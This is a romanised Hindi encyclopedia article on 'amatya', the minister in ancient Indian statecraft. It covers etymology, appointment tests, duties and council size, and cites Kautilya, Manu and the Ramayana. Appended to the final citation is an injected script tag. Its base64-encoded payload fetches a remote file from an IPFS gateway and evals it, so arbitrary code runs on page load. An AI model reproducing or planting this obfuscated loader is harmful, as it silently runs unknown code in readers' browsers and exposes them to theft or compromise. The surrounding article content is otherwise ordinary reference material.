अमात्य
amaty bharatiy rajaniti ke anusar rajy ke sat aangoan mean doosara aang hai jisaka arth hai mantri. raja ke paramarshadataoan ke lie amaty, sachiv tatha mantri in tinoan shabdoan ka prayog pray: kiya jata hai. inamean amaty ni:sandeh prachinatam hai. rrigved ke ek mantr[1] mean 'amavanh' shabd ka yask dvara nirdisht arth 'amatyayukt' hi hai.[2] vyutpati ke anusar 'amaty' ka arth hai sarvada sath rahanevala vyakti (ama=sath). apastanb dharmasootr mean amaty ka arth ni:sandeh mantri hai, jahaan raja ko adesh hai ki vah apane guruoan tatha mantriyoan se badhakar aishvary ka jivan n bitae.[3] amaty ko poori tarah se mantri ke samakaksh mana jata tha.
paryay
"'roodradamanh"' ke joonagadh vale mean sachiv shabd amaty ka paryayavachi mana gaya hai. sachivoan ke do prakar yahaan batalae ge haian:
- matisachiv (=raja ko paramarsh denevala mantri) tatha,
- karmasachiv (=nishchit kie ge karyo ka sanpadan karane vala).
amar ke anusar bhi sachiv (matisachiv) amaty mantri kahalata hai aur usase bhinn amaty 'karmasachiv' kahalate haian. parantu yah parthaky any granthoan mean nahian paya jata.'sachiv' shabd ka pratham prayog aiterey brahman (12.9) mean milata hai jahaan marut iandr ke 'sachiv' (sahayak ya bandhu) batalae ge haian. mantriyoan ki salah lena raja ke lie nitaant avashyak hota hai. is vishay mean kautily, manu[4] tatha matsyapuran[5] ke vachan bahut hi spasht haian. amaty, sachiv tatha mantri shabdoan ka paryay roop mean prayog bahulata se upalabdh hota hai jisase inake paraspar parthaky ka pata thik thik nahi chalata.
niyukti
amatyoan ke lie avashyak gunoan tatha yogyata ka vishesh varnan dharmasootroan tatha smritiyoan mean kiya gaya hai.[6] kautily ke arthashastr ke anusar mantriyoan ka pad ooancha hota tha aur amaty ka sadharan koti ka. kautily ka kahana hai amatyoan ka parikshan dharm, arth, kam aur bhay ke vishay mean achchhe dhang se karane par yadi ve eemanadar aur shuddh charitravale siddh hoan, tab unako niyukt karana chahie; parantu mantriyoan ke vishay mean unaka agrah hai ki jo vyakti samast parikshanoan ke dvara parikshit hone par rajyabhakt tatha vishuddhashay pramanit kiya jae, vahi mantri ke pad ke lie yogy samajha jata hai.[7]
- amaty gupt shasanakal mean uchch prashasakiy adhikari ka pad tha.
- bharat mean samrat ashok ne dharm pracharakoan ke lie 'mahamaty' nam ke pad ki sthapana karavaee thi.
- maratha samrajy mean chhatrapati shivaji ne bhi is pad ko prachalit kiya tha.
- shivaji ke samay mean amaty ka arth vittamantri tha, jisako sarakari hisab-kitab ki jaanch karake us par hastakshar karane p date the.
- maratha samrajy mean amaty ka pad b da hi mahattvapoorn tha, jo peshava ke bad sabase b da mana jata tha.
- pariksha ke upay ke nimit prayukt pradhan shabd hai-upadha jisaki vyakhya 'nitivakyamrit' ke anusar hai--
dhamarthikamabhayeshu vyajen parachittaparikshanamh upadha.
kary
raja ko mantrana (mantr) dene ka kary brahman ka niji adhikar tha, isilie kalidas ne brahman mantroan ke dvara anushasit rajany ki shakti ke upachay ki samata 'pavanagnisamagam' se di hai[8]. amaty ka pradhan kary raja ko bure marg mean jane se bachana tha aur keval rajanitik batoan mean hi nahian, pratyut any avashyak vishayoan mean bhi raja ka mantriyoan se paramarsh karana anivary tha. vah apane mantriyoan se mantrana b de gupt sthan mean karata tha, anyatha mantr aur karaniy ka bhed khul jane se rashtr ke anisht ki ashanka bani rahati thi.
amatyaparishad mean sadasy sankhya
amatyaparishad (athava mantriparishadh) ke sadasyoan ki sankhya ke vishay mean prachin kal se matabhinnata dikhalaee p dati hai. kisi achary ka agrah mantriyoan ki sankhya tin-char tak simit rakhane ke oopar hai, kiantu kuchh achary use sat-ath tak badhane ke paksh mean haian. ramayan[9] mean dasharath ke mantriyoan ki sankhya ath di gee hai aur isi ke tatha shukranitisar[10] ke adhar par chhatrapati shivaji ne apani mantriparishadh ashtapradhanoan ki banaee thi. shaantiparv, kautily tatha nitivakyamrit ke vachanoan ki pariksha se yah nishkarsh nikala ja sakata hai ki prachin kal mean mantrisabha tin prakar ki hoti thi:-
- tin ya char mantriyoan ka aantarang mantrimandal sabase adhik mahatvashali tha.
- mantriyoan ki parishadh jisamean mantriyoan ki sankhya sat ya ath rahati thi.
- amatyoan ya sachivoan ki ek b di sabha jisamean rajy ke vibhinn vibhagoan ke uchch adhikari bhi sammilit hote the.[11]
tika tippani aur sandarbh
- ↑ (4.4.1)
- ↑ (nirookt 6.12)
- ↑ (2.10.25.10)
- ↑ (7.55)
- ↑ (215.3)
- ↑ san.gran.-kautiliy arthashastr; shukraniti; kamandakanitisar; kashiprasad jayasaval: hiandoo p aauliti.
- ↑ (arthashastr 1.10)
- ↑ (raghuvansh 8.4)
- ↑ (balakaand, 7.2-3)
- ↑ (2.71.72)
- ↑ chhatrapati shivaji hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 204 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh